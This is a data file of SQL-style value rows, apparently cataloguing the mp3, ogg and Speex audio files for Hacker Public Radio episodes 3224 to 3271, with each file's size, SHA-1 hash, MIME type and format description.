(3224,'hpr3224.mp3','mp3',12975751,'c630b03aeca2e648c56349a835538753cdbd31b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3224,'hpr3224.ogg','ogg',14455998,'f070160dcebee429bc5a1a01d49a5288e8f9c89f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3224,'hpr3224.spx','spx',5794912,'9534cd6c6ae89179f5da0452197a0130f0d0f473','application/ogg; charset=binary','Ogg data, Speex audio'),
(3225,'hpr3225.mp3','mp3',9354482,'12dc34df4956532574c46e88bbb36de8398192e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3225,'hpr3225.ogg','ogg',10116781,'464e9d3e6d2080862710bde8c1fcb593fe9cd2d3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3225,'hpr3225.spx','spx',4177530,'9f5409ce44f9d2f0149fa9c9b7097be207a72fec','application/ogg; charset=binary','Ogg data, Speex audio'),
(3226,'hpr3226.mp3','mp3',8926548,'9ab5ad61b1fdfefe177b61a36bb9f26692d60cd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3226,'hpr3226.ogg','ogg',9984269,'5325c03700b7d048fd98a0d9f1e62bb26acf4308','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3226,'hpr3226.spx','spx',3986446,'3cd60f3e1a640a11b01cfc80f9cec87df862e7b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3227,'hpr3227.mp3','mp3',13520962,'52f6f019f6a70a6da8eed8e7195455f5e1601561','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3227,'hpr3227.ogg','ogg',15520476,'0119b5ead44cc55abb2e70d1bff0bb83645d94d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3227,'hpr3227.spx','spx',6038287,'37364e25b39f67c92758ab11e8af957ee1e6ceae','application/ogg; charset=binary','Ogg data, Speex audio'),
(3228,'hpr3228.mp3','mp3',16533560,'a8627d55bfaa476818f84606e9f80d501c8305b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3228,'hpr3228.ogg','ogg',18742561,'b8eb449c9c12025b0a59d65c6e6d0f14545d3b49','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3228,'hpr3228.spx','spx',7383778,'a5bb20dca4e6605c8b335f98609749b290e8d5af','application/ogg; charset=binary','Ogg data, Speex audio'),
(3229,'hpr3229.mp3','mp3',36480486,'e764a61bbd9566261d312b2d2aae62b4c065bba0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3229,'hpr3229.ogg','ogg',34993446,'0f7b11cd810fd02cd6ca81b8afd449a80724eeb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3229,'hpr3229.spx','spx',16292290,'6fdca45080d82868d1558a9ff9d1fbaa9a30a723','application/ogg; charset=binary','Ogg data, Speex audio'),
(3230,'hpr3230.mp3','mp3',11223201,'2a00444297d9cc0e4915f3476fb991b3b73509e8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3230,'hpr3230.ogg','ogg',12794205,'74fffdfc491708135e9c46e85d8eac097d4e6f10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3230,'hpr3230.spx','spx',5012179,'c1d94a70567b60a12ccb6b0774b2967357cfc3cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3231,'hpr3231.mp3','mp3',2076999,'f3ceed78915ed1d0a73523e1d6a3c854f87dfc21','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3231,'hpr3231.ogg','ogg',2405384,'f1b94209f4041f16a1dbed182b199143b71dacc2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3231,'hpr3231.spx','spx',927371,'490c9e191dda635b8c61ce99971843966697b913','application/ogg; charset=binary','Ogg data, Speex audio'),
(3232,'hpr3232.mp3','mp3',10553604,'f62f884272c8ef284fe9108555bbc886f1a483f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3232,'hpr3232.ogg','ogg',11982163,'4e0d10ac40459a75f5255c49360605b955fd9e9a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3232,'hpr3232.spx','spx',4713030,'400c876ebc4005c3e3aa92c85341a56ed5992006','application/ogg; charset=binary','Ogg data, Speex audio'),
(3233,'hpr3233.mp3','mp3',26295643,'642b1f39da7222c7ebcd04e6714d3e7ac3765a37','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3233,'hpr3233.ogg','ogg',25975258,'93acd8ec4eab038086b873e568a5d486af4e687a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3233,'hpr3233.spx','spx',11743638,'d8cdb23f999d7c966d1e54b16b91eb1c2db59293','application/ogg; charset=binary','Ogg data, Speex audio'),
(3234,'hpr3234.mp3','mp3',12296746,'0b1f758c7b280b140f5a3c618ec74ce359cd96e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3234,'hpr3234.ogg','ogg',12926200,'bac4101dad42014ec0f06c3b8e3a5a2bd4bae412','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3234,'hpr3234.spx','spx',5491613,'320fbacac3c952e74d89fb8ff20a6f192e0916a7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3235,'hpr3235.mp3','mp3',5066240,'971d1f7ff5caf3a6844e3052ba1d715391a3d6ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3235,'hpr3235.ogg','ogg',5442258,'d0c9a1624eb710859df0aab3e9e9b5b0d479da9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3235,'hpr3235.spx','spx',2262349,'9a3787a137ac04f2210f6683340ca4f8bd05a717','application/ogg; charset=binary','Ogg data, Speex audio'),
(3236,'hpr3236.mp3','mp3',25970540,'f287955e3c8916fd13a19c73a25a14e52284c7e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3236,'hpr3236.ogg','ogg',25447035,'38bc29ec4f0e7757c431b9dc24081e82918c5662','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3236,'hpr3236.spx','spx',11598420,'3ed34768b515f0090840750c4c6cde3bac8127e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3237,'hpr3237.mp3','mp3',9591341,'00b724fb80b270ad32e63cfed901493748cf5d1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3237,'hpr3237.ogg','ogg',10805305,'9681c5c888d1dc50b7249f386f39e06d7d58fb26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3237,'hpr3237.spx','spx',4283299,'f7bb3f7a391524c2d89ed0610780def2e31bf762','application/ogg; charset=binary','Ogg data, Speex audio'),
(3238,'hpr3238.mp3','mp3',48984001,'829d2c05a1844adf5ceac5c11ca7632894fc39f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3238,'hpr3238.ogg','ogg',46771086,'fab251a6e3e5958289e4afbf6424289ef2c82e57','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3238,'hpr3238.spx','spx',21876532,'d73b3222719c5add7aab9b953182eed95b8f36c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3239,'hpr3239.mp3','mp3',4933770,'27ca5c0545737223e9a2fcd93263f1133b121961','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3239,'hpr3239.ogg','ogg',5675552,'78e8fada6bd53c75dacec8b799828afac5d3cfb3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3239,'hpr3239.spx','spx',2203206,'802254e43845adcb6928578f51502778fc196f13','application/ogg; charset=binary','Ogg data, Speex audio'),
(3240,'hpr3240.mp3','mp3',9004473,'93db8b1ded0257f6c0a32e1e00f11ecb144faf80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3240,'hpr3240.ogg','ogg',10185255,'d84fa7b3980d4eada65bed1d3627ebdb689c9c5b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3240,'hpr3240.spx','spx',4021215,'cb27785d75e852dc04497394963a0a810f8ecb69','application/ogg; charset=binary','Ogg data, Speex audio'),
(3241,'hpr3241.mp3','mp3',31317289,'61a84c6bfd0e90d7a420a364583a7964f8d9835c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3241,'hpr3241.ogg','ogg',31964632,'a3a64386d5099939d15ec60a9ba2503be53d1ca8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3241,'hpr3241.spx','spx',13986413,'6ffd839e44eafc95d530c5d9438f26abae37ed98','application/ogg; charset=binary','Ogg data, Speex audio'),
(3242,'hpr3242.mp3','mp3',72047801,'4c77c671934e51d7d4a4c2d74a3ec3d3e028f8d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3242,'hpr3242.ogg','ogg',82488632,'3e4563cb71800435e50cd39a7b89402dd9cd1cef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3242,'hpr3242.spx','spx',32177075,'9c8e14ae61fa6525d915c83479f03a58e91aae9d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3243,'hpr3243.mp3','mp3',23953650,'6898913b116efce888d110d0d36d6ff8c57fa46f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3243,'hpr3243.ogg','ogg',22410015,'9c90b8c271045cbe6857cbe64948ca6278eda240','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3243,'hpr3243.spx','spx',10697686,'a9894103888e73f54d889e30544199efe62bf31e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3244,'hpr3244.mp3','mp3',34941424,'b78b4fe46e1f580076a13269859f4f08ce17ac1a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3244,'hpr3244.ogg','ogg',34156161,'5e9a3bd3e38a4f3b4dd63b00004bb48d222ca6b2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3244,'hpr3244.spx','spx',15605013,'3843ce4c77f66ae3e14e19efbf4f040e14cf7b4c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3245,'hpr3245.mp3','mp3',15879033,'429c73eae45b95de7ae2ebef8a53226fdc37f7e8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3245,'hpr3245.ogg','ogg',18962462,'c7c81c0f25b1b58907cb1088d09296db7d93b947','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3245,'hpr3245.spx','spx',7091424,'36381b3bff06aa91fb79f47e48f09d28a96da544','application/ogg; charset=binary','Ogg data, Speex audio'),
(3246,'hpr3246.mp3','mp3',15121590,'66ab7fa1fbbab209a71a8ecad8c720c9f70df61c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3246,'hpr3246.ogg','ogg',16165965,'0114d3febeab9a4362597f914d574fc60792e6bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3246,'hpr3246.spx','spx',6753258,'e92a7bf507de49545235f2cf997a18098ec341d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3247,'hpr3247.mp3','mp3',10017651,'da221d63d53d4234f36dc6044c09a95efb0de899','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3247,'hpr3247.ogg','ogg',11349267,'16f12510e2a41cb42bf6920680e5e5d8fe9a8906','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3247,'hpr3247.spx','spx',4473748,'963a4e557edb201e61854efa3ef0b79007c243e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3248,'hpr3248.mp3','mp3',12871056,'e1b2c8a174f65d2424aff009d2dd07f48c5ec144','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3248,'hpr3248.ogg','ogg',14333088,'552b01808066f8430453300299403433f65089a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3248,'hpr3248.spx','spx',5748184,'423f1d799d9defaf0cab6e9ee87a3381da0e9f64','application/ogg; charset=binary','Ogg data, Speex audio'),
(3249,'hpr3249.mp3','mp3',26469755,'85fe02101f06779d2ce006b080aa83a43c5d6abb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3249,'hpr3249.ogg','ogg',26024067,'53770c0b9e1bde1ede3eb2c5767c6f041c7ed704','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3249,'hpr3249.spx','spx',11821404,'7896a6090cb2eae1b678b53f7b67ad1cc748b623','application/ogg; charset=binary','Ogg data, Speex audio'),
(3250,'hpr3250.mp3','mp3',8334479,'db8651bc5ee099db8aa27993358865721a84c35e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3250,'hpr3250.ogg','ogg',9670434,'9e4f871aadf6767bad54d0d3e940f90ac431da16','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3250,'hpr3250.spx','spx',3722015,'a5558e999495bbbb0677add09798cae65c531f7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3251,'hpr3251.mp3','mp3',15831215,'7ad68845ec65a55037ae937b5d6d2d6a9d65fe43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3251,'hpr3251.ogg','ogg',17750126,'1a4232ea0ec6994dd16a0811c32f6f0f0ae095f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3251,'hpr3251.spx','spx',7070098,'f46922fa3a62eb7a03c748567ec57377c8c8e6df','application/ogg; charset=binary','Ogg data, Speex audio'),
(3252,'hpr3252.mp3','mp3',10226183,'5e073091bc6b125b8a4967aab60a1b6e3515da7b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3252,'hpr3252.ogg','ogg',11458360,'f10923e71a44c7113fe704f90f4c6b3368cd2a18','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3252,'hpr3252.spx','spx',4566825,'46e6d050f4288ae7f1fd42170cf77b67c6281b6b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3253,'hpr3253.mp3','mp3',10727291,'010332c56bdbdfd04ae8b75f93a8cff18cc5bd43','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3253,'hpr3253.ogg','ogg',12102663,'2f3d979abe95d1eaf21a79ce11f436a6bc8bd96e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3253,'hpr3253.spx','spx',4790674,'9678dc7cadd12fbd2734519c76ebd74e65b7aa8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3254,'hpr3254.mp3','mp3',13090692,'88df1ccd5bb184801c9930e4fc802325adb4bb8a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3254,'hpr3254.ogg','ogg',16084588,'70ee6934b2c2683b9a5b7d627b11d8d0f33ea305','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3254,'hpr3254.spx','spx',5846216,'d79b512a7cb750b898fd6eac8ac8c0da6e8a52bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3255,'hpr3255.mp3','mp3',5687517,'fb0d6329e55e02d7d1feed7fd8f7260add0feed1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3255,'hpr3255.ogg','ogg',6062453,'8e1cf7d351ac957b207b409e30035a1521995ce6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3255,'hpr3255.spx','spx',2539805,'c7bbbb7ac2e76b93f3ba6f7c4468cab82c844e7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3256,'hpr3256.mp3','mp3',5480725,'9de2ceaf8a7055eddc4e0c71aa883cb4c897c3e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3256,'hpr3256.ogg','ogg',5742999,'456d49c54a716abccd5b3f5feae80cd2904cf4c0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3256,'hpr3256.spx','spx',2447506,'85919e199994a32a8c6e36d8c814be008aff300b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3257,'hpr3257.mp3','mp3',6868782,'5a92d07cd97e9c63bb80cb13257bb13b9352b6c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3257,'hpr3257.ogg','ogg',7531827,'29137af5a4ae9bc9f38cc52ef528aaffef2d93b1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3257,'hpr3257.spx','spx',3067414,'d0b3fd7d47bd2c86ba1f0e705430ad08c55cfa14','application/ogg; charset=binary','Ogg data, Speex audio'),
(3258,'hpr3258.mp3','mp3',34179223,'7ce19b3e4a48cfcdb9331710a48b54a1090cb2b5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3258,'hpr3258.ogg','ogg',32556305,'6b98aefa39f93cc212f65b98ee1edfc8e6526a7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3258,'hpr3258.spx','spx',15264600,'471f754886ea0dc8241d3c59ae76b53842297935','application/ogg; charset=binary','Ogg data, Speex audio'),
(3259,'hpr3259.mp3','mp3',4961115,'87916febe1d9eb90cf1e4fc4577f313e49c17172','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3259,'hpr3259.ogg','ogg',5555287,'de39565312574412777d78f663d33c0038e7dc3c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3259,'hpr3259.spx','spx',2215397,'26cd42bc305835fc03d0adfe3face1b3b2d64cf7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3260,'hpr3260.mp3','mp3',11498238,'2e53c89edee72e74f1dec70017afa43339b4fd49','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3260,'hpr3260.ogg','ogg',13054644,'ee3d0be6cbe9a719d68c4649d194285bcab084d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3260,'hpr3260.spx','spx',5134889,'e27cfff887610087dbbdbea08fadae232c596077','application/ogg; charset=binary','Ogg data, Speex audio'),
(3261,'hpr3261.mp3','mp3',30024518,'7be38a1e9d19f0b93ee67e10a426c43005865302','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3261,'hpr3261.ogg','ogg',30679848,'45c91044b6286b0534d342d95f5207531d2515b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3261,'hpr3261.spx','spx',13409010,'a4ce61cfbb64024650b988696dc60aca218ae0ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(3262,'hpr3262.mp3','mp3',17222025,'bbb1a795a8120c47f67bf4052daf23969c1aec35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3262,'hpr3262.ogg','ogg',18915580,'1a172d1cfc54632bd388ad509870ee43b2c48687','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3262,'hpr3262.spx','spx',7691348,'64104a2e302861c50db74091233890f5d5ae389a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3263,'hpr3263.mp3','mp3',10372864,'613505562a5d217f4d54494099653d3e41b123a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3263,'hpr3263.ogg','ogg',11418783,'4169a3fe13601983123315fbd437b24fb40d6f34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3263,'hpr3263.spx','spx',4632314,'d0e8326f766e52854a1e51a3ba5cd59f6782ae87','application/ogg; charset=binary','Ogg data, Speex audio'),
(3264,'hpr3264.mp3','mp3',10716442,'0aaaf4432808258db2291dc2943e7e081565252d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3264,'hpr3264.ogg','ogg',11236629,'92757ab3c542fc01f3a69770e931361daebbbfe7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3264,'hpr3264.spx','spx',4785766,'05727005db9e4dba5887c1f49cf2144c70f730fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3265,'hpr3265.mp3','mp3',5303023,'f2c52a3bf48663e88d0c42ca851f083db63491f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3265,'hpr3265.ogg','ogg',6094482,'055889acbeba64f3e4620023698d91bf3d58a7a7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3265,'hpr3265.spx','spx',2368113,'39da58e897d60828daa999405e5ccd1d284f85e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3266,'hpr3266.mp3','mp3',17139058,'be36af111a526ff14f3ebf7b7e74aa308f8a8417','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3266,'hpr3266.ogg','ogg',20831367,'c17c01c1227aadf5f0fde19dbe5d0f1e42f7d62e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3266,'hpr3266.spx','spx',7654254,'ffaadb25d9b2b2fc9265efc1b7bd34600b37f33b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3267,'hpr3267.mp3','mp3',9109354,'9f1764e9aa1349e66a43d262cd553eec1b8425ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3267,'hpr3267.ogg','ogg',9510022,'99ba29a300750713c25ca46b803910a301fa2c5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3267,'hpr3267.spx','spx',4068061,'2ba0a6af2ad55c8a2ec3bd8d97c78246e534de0c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3268,'hpr3268.mp3','mp3',5052875,'629349a7922e30148740bf5d40d24da7e10b1b41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3268,'hpr3268.ogg','ogg',5736854,'5d9ea48cb2b1b48b8725283598f804fbc6304763','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3268,'hpr3268.spx','spx',2256439,'7559673e4718eff06efd383907ca07c777019703','application/ogg; charset=binary','Ogg data, Speex audio'),
(3269,'hpr3269.mp3','mp3',24000498,'b11d2140f0d609761547e2e1f41f08cbb6b69efa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3269,'hpr3269.ogg','ogg',23272588,'6a85af3d2f2d7df31030db85e01cd077ceb41349','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3269,'hpr3269.spx','spx',10718660,'b5796965721df0ded795a11810bd5503e4f85f2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3270,'hpr3270.mp3','mp3',8378802,'1859a55616bcbe1385b3d2a2244d9cc5dc48c2a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3270,'hpr3270.ogg','ogg',9397208,'e924ce258332cdab3205b072bc1c00995462a271','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3270,'hpr3270.spx','spx',3741837,'9b011aae2387f91c4413e5db4f9a2460e89629df','application/ogg; charset=binary','Ogg data, Speex audio'),
(3271,'hpr3271.mp3','mp3',4547131,'be2323f22f371719d0a433502722ad72dce1b9c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3271,'hpr3271.ogg','ogg',4504674,'c5990e8cf193ea506b1a41dd84a0cfbd78178d45','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3271,'hpr3271.spx','spx',2030465,'c0263c86d3cfdd18b06dd56aa1b6e8581408a279','application/ogg; charset=binary','Ogg data, Speex audio'),
